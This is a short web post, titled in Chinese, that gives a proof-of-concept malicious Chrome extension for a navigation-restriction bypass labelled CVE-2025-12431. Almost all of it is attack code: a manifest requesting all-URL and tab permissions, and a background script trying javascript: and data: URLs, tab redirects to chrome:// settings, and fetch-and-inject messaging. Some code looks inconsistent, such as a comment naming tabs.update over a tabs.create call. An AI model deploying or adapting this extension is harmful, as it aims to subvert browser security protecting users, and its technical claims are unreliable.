Chrome扩展不当实现导致导航限制绕过漏洞 (CVE-2025-12431)

// Malicious Chrome Extension PoC for CVE-2025-12431 // This PoC demonstrates navigation restriction bypass // manifest.json const manifest = { "manifest_version": 3, "name": "Navigation Bypass PoC", "version": "1.0", "permissions": ["activeTab", "tabs", "webNavigation", "webRequest"], "host_permissions": ["<all_urls>"], "background": { "service_worker": "background.js" } }; // background.js - Malicious extension background script // Bypassing navigation restrictions function bypassNavigation() { // Method 1: Using tabs.update with crafted URL chrome.tabs.create({ url: "javascript:alert('Bypass attempt')" }, (tab) => { console.log("Navigation bypass via tabs.update"); }); // Method 2: Using webNavigation API chrome.webNavigation.onCreatedNavigationTarget.addListener((details) => { // Attempt to modify navigation target to bypass restrictions if (details.url.startsWith("chrome://")) { // Bypass check by using extension pages as intermediary chrome.tabs.update(details.tabId, { url: "data:text/html,<script>location.replace('" + details.url + "')</script>" }); } }); // Method 3: Exploiting extension page navigation chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { if (changeInfo.status === "complete" && tab.url) { // Attempt to navigate to restricted schemes if (tab.url.includes("bypass_trigger")) { chrome.tabs.update(tabId, { url: "chrome://settings/clearBrowserData" }); } } }); } // Trigger the bypass bypassNavigation(); // Method 4: Service Worker navigation abuse chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request.action === "bypass") { // Use extension's elevated privileges fetch(request.targetUrl, { mode: "no-cors" }) .then(response => response.text()) .then(html => { // Inject content to bypass navigation restrictions chrome.tabs.query({ active: true }, (tabs) => { chrome.tabs.sendMessage(tabs[0].id, { type: "inject", content: html }); }); }); } });